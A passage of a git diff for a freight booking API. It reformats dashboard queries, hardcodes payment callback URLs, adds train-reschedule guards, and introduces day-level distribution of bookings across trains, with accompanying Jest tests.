async getRecentBookings(limit: number): Promise {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .leftJoin('booking.company', 'company')
- .select('booking.id', 'id')
- .addSelect('booking.reference', 'reference')
- .addSelect('COALESCE(company.name, \'—\')', 'customerLabel')
- .addSelect('booking.status', 'status')
- .addSelect('booking.priority_score', 'priorityScore')
- .addSelect('booking.total_amount', 'totalAmount')
- .addSelect('booking.payment_currency', 'paymentCurrency')
- .addSelect('booking.created_at', 'createdAt')
- .where('booking.deleted_at IS NULL')
- .orderBy('booking.created_at', 'DESC')
+ .createQueryBuilder("booking")
+ .leftJoin("booking.company", "company")
+ .select("booking.id", "id")
+ .addSelect("booking.reference", "reference")
+ .addSelect("COALESCE(company.name, '—')", "customerLabel")
+ .addSelect("booking.status", "status")
+ .addSelect("booking.priority_score", "priorityScore")
+ .addSelect("booking.total_amount", "totalAmount")
+ .addSelect("booking.payment_currency", "paymentCurrency")
+ .addSelect("booking.created_at", "createdAt")
+ .where("booking.deleted_at IS NULL")
+ .orderBy("booking.created_at", "DESC")
.limit(limit)
.getRawMany<{
id: string;
@@ -319,15 +331,17 @@ export class OverviewRepository {
}));
}
- async getBookingsByFreightType(): Promise<{ label: string; count: number }[]> {
+ async getBookingsByFreightType(): Promise<
+ { label: string; count: number }[]
+ > {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .select('booking.freight_type', 'label')
- .addSelect('COUNT(*)::int', 'count')
- .where('booking.deleted_at IS NULL')
+ .createQueryBuilder("booking")
+ .select("booking.freight_type", "label")
+ .addSelect("COUNT(*)::int", "count")
+ .where("booking.deleted_at IS NULL")
.andWhere("booking.status != 'DRAFT'")
- .groupBy('booking.freight_type')
- .orderBy('count', 'DESC')
+ .groupBy("booking.freight_type")
+ .orderBy("count", "DESC")
.getRawMany<{ label: string; count: string }>();
return rows.map((row) => ({
@@ -338,13 +352,13 @@ export class OverviewRepository {
async getBookingsByCurrency(): Promise<{ label: string; count: number }[]> {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .select('booking.payment_currency', 'label')
- .addSelect('COUNT(*)::int', 'count')
- .where('booking.deleted_at IS NULL')
+ .createQueryBuilder("booking")
+ .select("booking.payment_currency", "label")
+ .addSelect("COUNT(*)::int", "count")
+ .where("booking.deleted_at IS NULL")
.andWhere("booking.status != 'DRAFT'")
- .groupBy('booking.payment_currency')
- .orderBy('count', 'DESC')
+ .groupBy("booking.payment_currency")
+ .orderBy("count", "DESC")
.getRawMany<{ label: string; count: string }>();
return rows.map((row) => ({
@@ -355,11 +369,11 @@ export class OverviewRepository {
async getPaymentsByStatus(): Promise<{ status: string; count: number }[]> {
const rows = await this.paymentRepository
- .createQueryBuilder('payment')
- .select('payment.status', 'status')
- .addSelect('COUNT(*)::int', 'count')
- .groupBy('payment.status')
- .orderBy('count', 'DESC')
+ .createQueryBuilder("payment")
+ .select("payment.status", "status")
+ .addSelect("COUNT(*)::int", "count")
+ .groupBy("payment.status")
+ .orderBy("count", "DESC")
.getRawMany<{ status: string; count: string }>();
return rows.map((row) => ({
@@ -372,20 +386,25 @@ export class OverviewRepository {
{ method: string; count: number; amountEtb: number; amountUsd: number }[]
> {
const rows = await this.paymentRepository
- .createQueryBuilder('payment')
- .select('payment.method', 'method')
- .addSelect('COUNT(*)::int', 'count')
+ .createQueryBuilder("payment")
+ .select("payment.method", "method")
+ .addSelect("COUNT(*)::int", "count")
.addSelect(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'ETB' AND payment.status = 'success'), 0)`,
- 'amountEtb',
+ "amountEtb",
)
.addSelect(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'USD' AND payment.status = 'success'), 0)`,
- 'amountUsd',
+ "amountUsd",
)
- .groupBy('payment.method')
- .orderBy('count', 'DESC')
- .getRawMany<{ method: string; count: string; amountEtb: string; amountUsd: string }>();
+ .groupBy("payment.method")
+ .orderBy("count", "DESC")
+ .getRawMany<{
+ method: string;
+ count: string;
+ amountEtb: string;
+ amountUsd: string;
+ }>();
return rows.map((row) => ({
method: row.method,
@@ -395,16 +414,18 @@ export class OverviewRepository {
}));
}
- async getRevenueByCurrency(): Promise<{ currency: string; amount: number }[]> {
+ async getRevenueByCurrency(): Promise<
+ { currency: string; amount: number }[]
+ > {
const rows = await this.paymentRepository
- .createQueryBuilder('payment')
- .select('payment.currency', 'currency')
- .addSelect('COALESCE(SUM(payment.amount), 0)', 'amount')
- .where('payment.status = :status', { status: 'success' })
+ .createQueryBuilder("payment")
+ .select("payment.currency", "currency")
+ .addSelect("COALESCE(SUM(payment.amount), 0)", "amount")
+ .where("payment.status = :status", { status: "success" })
.andWhere(
`COALESCE(payment.paid_at, payment.created_at) >= date_trunc('month', CURRENT_DATE)`,
)
- .groupBy('payment.currency')
+ .groupBy("payment.currency")
.getRawMany<{ currency: string; amount: string }>();
return rows.map((row) => ({
@@ -413,20 +434,28 @@ export class OverviewRepository {
}));
}
- async getTrainStatusBreakdown(): Promise<{ status: string; count: number }[]> {
- return this.statusBreakdown(this.trainRepository, 'train');
+ async getTrainStatusBreakdown(): Promise<
+ { status: string; count: number }[]
+ > {
+ return this.statusBreakdown(this.trainRepository, "train");
}
- async getWagonStatusBreakdown(): Promise<{ status: string; count: number }[]> {
- return this.statusBreakdown(this.wagonRepository, 'wagon');
+ async getWagonStatusBreakdown(): Promise<
+ { status: string; count: number }[]
+ > {
+ return this.statusBreakdown(this.wagonRepository, "wagon");
}
- async getContainerStatusBreakdown(): Promise<{ status: string; count: number }[]> {
- return this.statusBreakdown(this.containerRepository, 'container');
+ async getContainerStatusBreakdown(): Promise<
+ { status: string; count: number }[]
+ > {
+ return this.statusBreakdown(this.containerRepository, "container");
}
- async getCargoStatusBreakdown(): Promise<{ status: string; count: number }[]> {
- return this.statusBreakdown(this.cargoRepository, 'cargo');
+ async getCargoStatusBreakdown(): Promise<
+ { status: string; count: number }[]
+ > {
+ return this.statusBreakdown(this.cargoRepository, "cargo");
}
private async statusBreakdown(
@@ -435,11 +464,11 @@ export class OverviewRepository {
): Promise<{ status: string; count: number }[]> {
const rows = await repository
.createQueryBuilder(alias)
- .select(`${alias}.status`, 'status')
- .addSelect('COUNT(*)::int', 'count')
+ .select(`${alias}.status`, "status")
+ .addSelect("COUNT(*)::int", "count")
.where(`${alias}.deleted_at IS NULL`)
.groupBy(`${alias}.status`)
- .orderBy('count', 'DESC')
+ .orderBy("count", "DESC")
.getRawMany<{ status: string; count: string }>();
return rows.map((row) => ({
@@ -448,15 +477,19 @@ export class OverviewRepository {
}));
}
- async getCustomerGrowthTrend(days: number): Promise<{ date: string; count: number }[]> {
- const rows = await this.customerRepository
- .createQueryBuilder('customer')
- .select(`to_char(customer.created_at::date, 'YYYY-MM-DD')`, 'date')
- .addSelect('COUNT(*)::int', 'count')
- .where('customer.deleted_at IS NULL')
- .andWhere(`customer.created_at >= CURRENT_DATE - :days::int + 1`, { days })
- .groupBy('customer.created_at::date')
- .orderBy('customer.created_at::date', 'ASC')
+ async getCustomerGrowthTrend(
+ days: number,
+ ): Promise<{ date: string; count: number }[]> {
+ const rows = await this.companyRepository
+ .createQueryBuilder("customer")
+ .select(`to_char(customer.created_at::date, 'YYYY-MM-DD')`, "date")
+ .addSelect("COUNT(*)::int", "count")
+ .where("customer.deleted_at IS NULL")
+ .andWhere(`customer.created_at >= CURRENT_DATE - :days::int + 1`, {
+ days,
+ })
+ .groupBy("customer.created_at::date")
+ .orderBy("customer.created_at::date", "ASC")
.getRawMany<{ date: string; count: string }>();
return rows.map((row) => ({
@@ -466,13 +499,16 @@ export class OverviewRepository {
}
async getCustomersByType(): Promise<{ label: string; count: number }[]> {
- const rows = await this.customerRepository
- .createQueryBuilder('customer')
- .select(`COALESCE(NULLIF(customer.customer_type, ''), 'Unknown')`, 'label')
- .addSelect('COUNT(*)::int', 'count')
- .where('customer.deleted_at IS NULL')
- .groupBy('customer.customer_type')
- .orderBy('count', 'DESC')
+ const rows = await this.companyRepository
+ .createQueryBuilder("customer")
+ .select(
+ `COALESCE(NULLIF(customer.type, ''), 'Unknown')`,
+ "label",
+ )
+ .addSelect("COUNT(*)::int", "count")
+ .where("customer.deleted_at IS NULL")
+ .groupBy("customer.type")
+ .orderBy("count", "DESC")
.getRawMany<{ label: string; count: string }>();
return rows.map((row) => ({
@@ -481,16 +517,18 @@ export class OverviewRepository {
}));
}
- async getTopCustomersByBookings(limit: number): Promise<{ label: string; count: number }[]> {
+ async getTopCustomersByBookings(
+ limit: number,
+ ): Promise<{ label: string; count: number }[]> {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .leftJoin('booking.company', 'company')
- .select(`COALESCE(company.name, 'Unknown')`, 'label')
- .addSelect('COUNT(*)::int', 'count')
- .where('booking.deleted_at IS NULL')
+ .createQueryBuilder("booking")
+ .leftJoin("booking.company", "company")
+ .select(`COALESCE(company.name, 'Unknown')`, "label")
+ .addSelect("COUNT(*)::int", "count")
+ .where("booking.deleted_at IS NULL")
.andWhere("booking.status != 'DRAFT'")
- .groupBy('company.name')
- .orderBy('count', 'DESC')
+ .groupBy("company.name")
+ .orderBy("count", "DESC")
.limit(limit)
.getRawMany<{ label: string; count: string }>();
@@ -502,11 +540,11 @@ export class OverviewRepository {
async getUsersByStatus(): Promise<{ status: string; count: number }[]> {
const rows = await this.userRepository
- .createQueryBuilder('user')
- .select('user.status', 'status')
- .addSelect('COUNT(*)::int', 'count')
- .groupBy('user.status')
- .orderBy('count', 'DESC')
+ .createQueryBuilder("user")
+ .select("user.status", "status")
+ .addSelect("COUNT(*)::int", "count")
+ .groupBy("user.status")
+ .orderBy("count", "DESC")
.getRawMany<{ status: string; count: string }>();
return rows.map((row) => ({
@@ -515,15 +553,19 @@ export class OverviewRepository {
}));
}
- async getEmployeeGrowthTrend(days: number): Promise<{ date: string; count: number }[]> {
+ async getEmployeeGrowthTrend(
+ days: number,
+ ): Promise<{ date: string; count: number }[]> {
const rows = await this.employeeRepository
- .createQueryBuilder('employee')
- .select(`to_char(employee.created_at::date, 'YYYY-MM-DD')`, 'date')
- .addSelect('COUNT(*)::int', 'count')
- .where('employee.is_current = true')
- .andWhere(`employee.created_at >= CURRENT_DATE - :days::int + 1`, { days })
- .groupBy('employee.created_at::date')
- .orderBy('employee.created_at::date', 'ASC')
+ .createQueryBuilder("employee")
+ .select(`to_char(employee.created_at::date, 'YYYY-MM-DD')`, "date")
+ .addSelect("COUNT(*)::int", "count")
+ .where("employee.is_current = true")
+ .andWhere(`employee.created_at >= CURRENT_DATE - :days::int + 1`, {
+ days,
+ })
+ .groupBy("employee.created_at::date")
+ .orderBy("employee.created_at::date", "ASC")
.getRawMany<{ date: string; count: string }>();
return rows.map((row) => ({
@@ -538,16 +580,16 @@ export class OverviewRepository {
where: { isActive: true, status: EUserStatus.ACCEPTED },
}),
this.userRepository
- .createQueryBuilder('user')
- .where('user.is_active = false OR user.status != :status', {
+ .createQueryBuilder("user")
+ .where("user.is_active = false OR user.status != :status", {
status: EUserStatus.ACCEPTED,
})
.getCount(),
]);
return [
- { label: 'Active', count: active },
- { label: 'Inactive', count: inactive },
+ { label: "Active", count: active },
+ { label: "Inactive", count: inactive },
];
}
}
diff --git a/apps/edr-freight-api/src/modules/payment/payment-client.service.ts b/apps/edr-freight-api/src/modules/payment/payment-client.service.ts
index 9c92a036d..bcfa643b6 100644
--- a/apps/edr-freight-api/src/modules/payment/payment-client.service.ts
+++ b/apps/edr-freight-api/src/modules/payment/payment-client.service.ts
@@ -18,7 +18,8 @@ import {
export class PaymentClientService {
private readonly logger = new Logger(PaymentClientService.name);
private readonly baseUrl = (
- process.env.PAYMENT_API_URL ?? "https://paymentcallback.triaplc.com"
+ // process.env.PAYMENT_API_URL ??
+ "https://paymentcallback.triaplc.com"
).replace(/\/$/, "");
private readonly serviceToken = process.env.SERVICE_AUTH_TOKEN ?? "";
diff --git a/apps/edr-freight-api/src/modules/payment/payment.service.ts b/apps/edr-freight-api/src/modules/payment/payment.service.ts
index b24febf91..177b7475b 100644
--- a/apps/edr-freight-api/src/modules/payment/payment.service.ts
+++ b/apps/edr-freight-api/src/modules/payment/payment.service.ts
@@ -145,9 +145,7 @@ export class PaymentService {
.findOneBy({ id: dto.bookingId });
if (!booking) throw new NotFoundException("Booking not found");
- console.log("bookingbooking",booking)
- const amountMinor = Math.round(Number(booking.totalAmount) * 100);
- console.log("amountminor",amountMinor)
+ const amountMinor = Math.round(Number(booking.totalAmount));
const snapshot = await this.paymentClient.initiate({
service: PaymentServiceEnum.FREIGHT,
@@ -159,8 +157,8 @@ export class PaymentService {
provider: dto.method as unknown as ProviderMethod,
platform: dto.platform,
payerAccount: dto.payerAccount,
- returnUrl: dto.returnUrl ?? process.env.PAYMENT_RETURN_URL,
- failureUrl: dto.failureUrl ?? process.env.PAYMENT_FAILURE_URL,
+ returnUrl:'https://edrfreight.triaplc.com/payment/success',
+ failureUrl: 'https://edrfreight.triaplc.com/payment/failure',
});
const intent = await this.syncIntentProjection(booking.id, booking, snapshot);
diff --git a/apps/edr-freight-api/src/modules/scheduling-reschedule/scheduling-reschedule.service.ts b/apps/edr-freight-api/src/modules/scheduling-reschedule/scheduling-reschedule.service.ts
index 7191a203e..dd20b100d 100644
--- a/apps/edr-freight-api/src/modules/scheduling-reschedule/scheduling-reschedule.service.ts
+++ b/apps/edr-freight-api/src/modules/scheduling-reschedule/scheduling-reschedule.service.ts
@@ -49,8 +49,17 @@ export class SchedulingRescheduleService {
if (!schedule) {
throw new NotFoundException(`Train schedule ${scheduleId} not found`);
}
+ // A train can be rescheduled (with or without bookings) at any time UNLESS it
+ // is already on the move (DISPATCHED), has completed its run (ARRIVED), or was
+ // cancelled. Only DRAFT / SCHEDULED trains are reschedulable.
if (schedule.status === TrainScheduleStatus.Dispatched) {
- throw new BadRequestException('Cannot reschedule a dispatched train');
+ throw new BadRequestException('Cannot reschedule a train that is already dispatched');
+ }
+ if (schedule.status === TrainScheduleStatus.Arrived) {
+ throw new BadRequestException('Cannot reschedule a train that has already arrived');
+ }
+ if (schedule.status === TrainScheduleStatus.Cancelled) {
+ throw new BadRequestException('Cannot reschedule a cancelled train');
}
const currentOnSchedule = (schedule.scheduleBookings ?? [])
@@ -156,10 +165,24 @@ export class SchedulingRescheduleService {
}
}
- const assignResult = await this.trainSchedulingService.assignBookingsToSchedule(scheduleId, {
- bookingIds: dto.finalBookingIds,
- forceAssign: dto.trigger === 'GOVERNMENT_PREEMPT',
- });
+ // A train can be rescheduled even with no bookings (e.g. moved for
+ // maintenance). assignBookingsToSchedule requires at least one booking, so
+ // only call it when something is actually being (re)assigned — the new
+ // departure date above is the meaningful change for an empty train. The
+ // empty-train branch returns the same schedule-detail shape as the assign
+ // path so callers get a consistent response.
+ const assignResult = dto.finalBookingIds.length
+ ? await this.trainSchedulingService.assignBookingsToSchedule(scheduleId, {
+ bookingIds: dto.finalBookingIds,
+ forceAssign: dto.trigger === 'GOVERNMENT_PREEMPT',
+ })
+ : {
+ ...(await this.trainSchedulingService.getContainerTrainScheduleById(
+ scheduleId,
+ )),
+ warnings: [] as string[],
+ deferredBookings: [] as unknown[],
+ };
await this.schedulingRescheduleRepository.createEvent({
trainScheduleId: scheduleId,
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/batch-window.util.ts b/apps/edr-freight-api/src/modules/train-scheduling/batch-window.util.ts
index 38ab407bc..7316e1610 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/batch-window.util.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/batch-window.util.ts
@@ -55,6 +55,16 @@ function eatParts(date: Date): EatDateParts {
};
}
+/**
+ * The EAT calendar day a timestamp falls on, as `yyyy-MM-dd`. This is the day
+ * key for day-level booking pools — it must match the day the portal calendar
+ * renders, so always derive day keys through this (never `toISOString().slice`).
+ */
+export function eatDay(date: Date): string {
+ const { year, month, day } = eatParts(date);
+ return `${year}-${String(month).padStart(2, '0')}-${String(day).padStart(2, '0')}`;
+}
+
/** Build a UTC Date for a given EAT local wall-clock time on a calendar day. */
function eatToUtc(
year: number,
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.spec.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.spec.ts
index a08dd71ec..5cd06091a 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.spec.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.spec.ts
@@ -20,6 +20,7 @@ describe('BookingBatchService — PAID reconcile', () => {
let bookingsRepository: {
findPaidUnlinkedForSchedule: jest.Mock;
findBatchPool: jest.Mock;
+ findBatchPoolByRouteDay: jest.Mock;
findReservedForSchedule: jest.Mock;
update: jest.Mock;
};
@@ -33,16 +34,24 @@ describe('BookingBatchService — PAID reconcile', () => {
};
let trainSchedulingService: {
tryAutoWagonAllocation: jest.Mock;
+ getBookableSchedules: jest.Mock;
};
let dataSource: {
getRepository: jest.Mock;
transaction: jest.Mock;
};
+ let notifier: {
+ payNow: jest.Mock;
+ secured: jest.Mock;
+ expired: jest.Mock;
+ unplaced: jest.Mock;
+ };
beforeEach(() => {
bookingsRepository = {
findPaidUnlinkedForSchedule: jest.fn().mockResolvedValue([]),
findBatchPool: jest.fn().mockResolvedValue([]),
+ findBatchPoolByRouteDay: jest.fn().mockResolvedValue([]),
findReservedForSchedule: jest.fn().mockResolvedValue([]),
update: jest.fn().mockResolvedValue(undefined),
};
@@ -67,11 +76,14 @@ describe('BookingBatchService — PAID reconcile', () => {
issues: [],
violations: [],
}),
+ getBookableSchedules: jest.fn().mockResolvedValue([]),
};
const bookingRepo = {
findOne: jest.fn().mockResolvedValue(paidBooking),
update: jest.fn().mockResolvedValue(undefined),
+ // WagonType.find() / global-rules find() fall back to defaults when empty.
+ find: jest.fn().mockResolvedValue([]),
};
dataSource = {
getRepository: jest.fn().mockReturnValue(bookingRepo),
@@ -83,12 +95,19 @@ describe('BookingBatchService — PAID reconcile', () => {
}),
};
+ notifier = {
+ payNow: jest.fn(),
+ secured: jest.fn(),
+ expired: jest.fn(),
+ unplaced: jest.fn(),
+ };
+
service = new BookingBatchService(
dataSource as never,
bookingsRepository as never,
trainSchedulesRepository as never,
trainScheduleBookingsRepository as never,
- { payNow: jest.fn(), secured: jest.fn(), expired: jest.fn() } as never,
+ notifier as never,
{ addTimeout: jest.fn(), deleteTimeout: jest.fn(), doesExist: jest.fn() } as never,
trainSchedulingService as never,
);
@@ -141,4 +160,96 @@ describe('BookingBatchService — PAID reconcile', () => {
expect(fillOrder).toBeLessThan(reconcileOrder);
expect(reconcileOrder).toBeLessThan(wagonOrder);
});
+
+ describe('fillRouteDay — day-level distribution', () => {
+ const originYardId = 'yard-origin';
+ const destinationYardId = 'yard-dest';
+ const day = '2026-06-20';
+ // 06:00Z and 09:00Z on 2026-06-20 both land on the same EAT day.
+ const trainA = 'train-a';
+ const trainB = 'train-b';
+
+ // A tiny locomotive: default wagon = 14m / 70t → exactly 1 wagon slot fits.
+ const smallLoco = { maxPullWeightTons: 70, maxTrainLengthMeters: 14 };
+
+ const commercial = (id: string, priority: number): Booking =>
+ ({
+ id,
+ reference: id,
+ isGovernment: false,
+ priorityScore: priority,
+ status: 'FULLY_EXECUTED',
+ wagonsRequired: 1,
+ cargoTotalWeightVgm: 10,
+ freightType: 'CONTAINER',
+ bookingContainers: [],
+ }) as unknown as Booking;
+
+ beforeEach(() => {
+ // Two OPEN trains on the same route + day, train A earlier than train B.
+ trainSchedulingService.getBookableSchedules.mockResolvedValue([
+ {
+ id: trainA,
+ scheduleDate: '2026-06-20T06:00:00.000Z',
+ bookingWindowStatus: 'OPEN',
+ },
+ {
+ id: trainB,
+ scheduleDate: '2026-06-20T09:00:00.000Z',
+ bookingWindowStatus: 'OPEN',
+ },
+ ]);
+ trainSchedulesRepository.findByIdWithFullGraph.mockImplementation((id: string) =>
+ Promise.resolve({
+ id,
+ maxWagons: 1,
+ bookingWindowStatus: 'OPEN',
+ trainSetId: `set-${id}`,
+ trainSet: { locomotive: smallLoco },
+ scheduleBookings: [],
+ }),
+ );
+ });
+
+ it('spills overflow to the next train by priority, then reports unplaced', async () => {
+ // 3 commercial bookings, descending priority; only 1 fits per train (2 total).
+ bookingsRepository.findBatchPoolByRouteDay.mockResolvedValue([
+ commercial('hi', 30),
+ commercial('mid', 20),
+ commercial('lo', 10),
+ ]);
+
+ const touched = await service.fillRouteDay(originYardId, destinationYardId, day);
+
+ expect(bookingsRepository.findBatchPoolByRouteDay).toHaveBeenCalledWith(
+ originYardId,
+ destinationYardId,
+ day,
+ );
+ // Both trains were processed.
+ expect(touched).toEqual([trainA, trainB]);
+ // Highest priority reserved on train A, next on train B (commercial → reserve).
+ const reservedOn = notifier.payNow.mock.calls.map((c) => (c[0] as Booking).id);
+ expect(reservedOn).toEqual(['hi', 'mid']);
+ // The third booking fits no train and is reported unplaced (and only it).
+ expect(notifier.unplaced).toHaveBeenCalledTimes(1);
+ expect((notifier.unplaced.mock.calls[0][0] as Booking).id).toBe('lo');
+ expect(notifier.unplaced.mock.calls[0][1]).toBe(day);
+ });
+
+ it('reserves the chosen train id on each commercial booking', async () => {
+ bookingsRepository.findBatchPoolByRouteDay.mockResolvedValue([commercial('hi', 30)]);
+
+ await service.fillRouteDay(originYardId, destinationYardId, day);
+
+ // reserve() persists trainScheduleId so the settle lifecycle can find the train.
+ expect(bookingsRepository.update).toHaveBeenCalledWith(
+ 'hi',
+ expect.objectContaining({
+ trainScheduleId: trainA,
+ status: 'SELECTED_FOR_BATCH',
+ }),
+ );
+ });
+ });
});
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts
index 771422fa2..514f8572d 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts
@@ -19,7 +19,7 @@ import { TrainScheduleBookingsRepository } from '../train-schedules/train-schedu
import { TrainSchedulingGlobalRules } from './entities/train-scheduling-global-rules.entity';
import { BookingNotifierService } from './booking-notifier.service';
import { TrainSchedulingService } from './train-scheduling.service';
-import { groupBookingsIntoBoardWindows } from './batch-window.util';
+import { eatDay, groupBookingsIntoBoardWindows } from './batch-window.util';
import {
BATCH_CRON,
BATCH_TIMEZONE,
@@ -42,6 +42,14 @@ interface Capacity {
lengthMeters: number;
}
+/** A day-level pool key: all trains on this route departing on this EAT day. */
+interface RouteDayGroup {
+ originYardId: string;
+ destinationYardId: string;
+ /** EAT calendar day, `yyyy-MM-dd`. */
+ day: string;
+}
+
type WagonLengths = { container: number; bulk: number };
export type BatchBoardBookingState =
@@ -173,16 +181,16 @@ export class BookingBatchService implements OnModuleInit {
private readonly trainSchedulingService: TrainSchedulingService,
) {}
- /** On boot, reconcile OPEN schedules and re-arm settle timers. */
+ /** On boot, reconcile OPEN route-days and re-arm settle timers. */
async onModuleInit(): Promise {
- const open = await this.trainSchedulesRepository.findAll({
- where: { bookingWindowStatus: 'OPEN' },
- });
- for (const s of open) {
+ const groups = await this.openRouteDayGroups();
+ for (const group of groups) {
try {
- await this.processSchedule(s.id);
+ await this.processRouteDay(group);
} catch (err) {
- this.logger.warn(`Boot reconcile failed for ${s.id}: ${(err as Error).message}`);
+ this.logger.warn(
+ `Boot reconcile failed for ${this.groupLabel(group)}: ${(err as Error).message}`,
+ );
}
}
const reserved = await this.dataSource
@@ -195,13 +203,48 @@ export class BookingBatchService implements OnModuleInit {
for (const { scheduleId } of reserved) this.armSettle(scheduleId);
}
- /** Fire-and-forget batch pipeline for a schedule (contract sign, cron, payment). */
+ /**
+ * Fire-and-forget batch pipeline for the (route, day) a schedule belongs to
+ * (contract sign, payment). Day-level pooling distributes across all of that
+ * day's trains, so a single schedule id maps to its whole route-day group.
+ */
enqueueScheduleProcessing(scheduleId: string): void {
- void this.processSchedule(scheduleId).catch((err) =>
- this.logger.error(`processSchedule ${scheduleId} failed: ${(err as Error).message}`),
+ void this.processRouteDayForSchedule(scheduleId).catch((err) =>
+ this.logger.error(
+ `processRouteDay for schedule ${scheduleId} failed: ${(err as Error).message}`,
+ ),
);
}
+ /** Resolve a schedule's (route, day) group and run the day-level pipeline. */
+ private async processRouteDayForSchedule(scheduleId: string): Promise {
+ const schedule = await this.trainSchedulesRepository.findById(scheduleId);
+ if (!schedule?.scheduledDepartureDate) return;
+ await this.processRouteDay({
+ originYardId: schedule.originStationId,
+ destinationYardId: schedule.destinationStationId,
+ day: eatDay(schedule.scheduledDepartureDate),
+ });
+ }
+
+ /**
+ * Day-level pipeline: distribute the (route, day) pool across all its trains,
+ * then settle / reconcile / assign wagons per schedule (those steps stay
+ * schedule-scoped — only the fill is day-level).
+ */
+ async processRouteDay(group: RouteDayGroup): Promise {
+ const scheduleIds = await this.fillRouteDay(
+ group.originYardId,
+ group.destinationYardId,
+ group.day,
+ );
+ for (const scheduleId of scheduleIds) {
+ await this.settleDueReservations(scheduleId);
+ await this.reconcilePaidUnlinked(scheduleId);
+ await this.trainSchedulingService.tryAutoWagonAllocation(scheduleId);
+ }
+ }
+
/** Fill pool, settle due reservations, link orphaned PAID, then assign wagons. */
async processSchedule(scheduleId: string): Promise {
await this.fillSchedule(scheduleId);
@@ -210,6 +253,31 @@ export class BookingBatchService implements OnModuleInit {
await this.trainSchedulingService.tryAutoWagonAllocation(scheduleId);
}
+ /** Distinct (origin, destination, EAT day) groups across all OPEN schedules. */
+ private async openRouteDayGroups(): Promise {
+ const open = await this.trainSchedulesRepository.findAll({
+ where: { bookingWindowStatus: 'OPEN' },
+ });
+ const groups = new Map();
+ for (const s of open) {
+ if (!s.scheduledDepartureDate) continue;
+ const day = eatDay(s.scheduledDepartureDate);
+ const key = `${s.originStationId}|${s.destinationStationId}|${day}`;
+ if (!groups.has(key)) {
+ groups.set(key, {
+ originYardId: s.originStationId,
+ destinationYardId: s.destinationStationId,
+ day,
+ });
+ }
+ }
+ return [...groups.values()];
+ }
+
+ private groupLabel(group: RouteDayGroup): string {
+ return `${group.originYardId}→${group.destinationYardId} on ${group.day}`;
+ }
+
/**
* Idempotent: link a paid batch booking to its schedule and assign wagons.
* Handles SELECTED_FOR_BATCH, PAID-without-link, and PAID-already-linked cases.
@@ -289,15 +357,15 @@ export class BookingBatchService implements OnModuleInit {
@Cron(BATCH_CRON, { name: 'booking-batch-fill', timeZone: BATCH_TIMEZONE })
async runBatchFill(): Promise {
- const open = await this.trainSchedulesRepository.findAll({
- where: { bookingWindowStatus: 'OPEN' },
- });
- this.logger.log(`Batch fill: ${open.length} OPEN schedule(s).`);
- for (const s of open) {
+ const groups = await this.openRouteDayGroups();
+ this.logger.log(`Batch fill: ${groups.length} OPEN route-day group(s).`);
+ for (const group of groups) {
try {
- await this.processSchedule(s.id);
+ await this.processRouteDay(group);
} catch (err) {
- this.logger.error(`Batch fill failed for ${s.id}: ${(err as Error).message}`);
+ this.logger.error(
+ `Batch fill failed for ${this.groupLabel(group)}: ${(err as Error).message}`,
+ );
}
}
}
@@ -611,7 +679,7 @@ export class BookingBatchService implements OnModuleInit {
if (booking.isGovernment) {
await this.allocate(scheduleId, booking, 'gov');
} else {
- await this.reserve(booking);
+ await this.reserve(booking, scheduleId);
armed = true;
}
budget = this.subtract(budget, need);
@@ -623,6 +691,106 @@ export class BookingBatchService implements OnModuleInit {
void this.triggerWagonAllocation(scheduleId);
}
+ /**
+ * Distribute one (route, day) pool across ALL of that day's OPEN trains, by
+ * priority, filling each train (earliest departure first) until it's full and
+ * spilling overflow to the next. Government bookings that fit no train preempt
+ * lower-priority commercial; bookings that fit no train at all stay pending and
+ * trigger a staff `unplaced` warning. Returns the schedule ids that were touched
+ * (or that had remaining pool work) so the caller can settle them per-schedule.
+ */
+ async fillRouteDay(
+ originYardId: string,
+ destinationYardId: string,
+ day: string,
+ ): Promise {
+ // The day's OPEN bookable schedules on this exact corridor, earliest first.
+ const bookable = await this.trainSchedulingService.getBookableSchedules(
+ originYardId,
+ destinationYardId,
+ );
+ const scheduleIds = bookable
+ .filter(
+ (s) =>
+ s.bookingWindowStatus === 'OPEN' &&
+ s.scheduleDate != null &&
+ eatDay(new Date(s.scheduleDate)) === day,
+ )
+ .sort(
+ (a, b) =>
+ new Date(a.scheduleDate).getTime() - new Date(b.scheduleDate).getTime(),
+ )
+ .map((s) => s.id);
+
+ if (scheduleIds.length === 0) return [];
+
+ const rules = await this.loadGlobalRules();
+ const wagonLengths = await this.loadWagonLengths();
+
+ // Live per-schedule budget + arm flag, in departure order.
+ const trains: Array<{ id: string; budget: Capacity; armed: boolean }> = [];
+ for (const id of scheduleIds) {
+ const schedule = await this.trainSchedulesRepository.findByIdWithFullGraph(id);
+ const locomotive = schedule?.trainSet?.locomotive;
+ if (!schedule || !schedule.trainSetId || !locomotive) {
+ this.logger.warn(`Schedule ${id} has no locomotive/train set — skipped.`);
+ continue;
+ }
+ const limits = await this.capacityLimits(locomotive, rules);
+ await this.syncScheduleMaxWagons(schedule, locomotive, rules);
+ const budget = await this.remainingCapacity(schedule, limits, wagonLengths);
+ trains.push({ id, budget, armed: false });
+ }
+ if (trains.length === 0) return [];
+
+ const pool = await this.bookingsRepository.findBatchPoolByRouteDay(
+ originYardId,
+ destinationYardId,
+ day,
+ );
+
+ for (const booking of pool) {
+ const need = this.needFor(booking, wagonLengths);
+
+ // First train (earliest departure) that fits this booking as-is.
+ let target = trains.find((t) => this.fits(need, t.budget));
+
+ if (!target && booking.isGovernment) {
+ // Government booking fits nowhere on its own — try to preempt commercial
+ // on each train (earliest first) until one frees enough room.
+ for (const t of trains) {
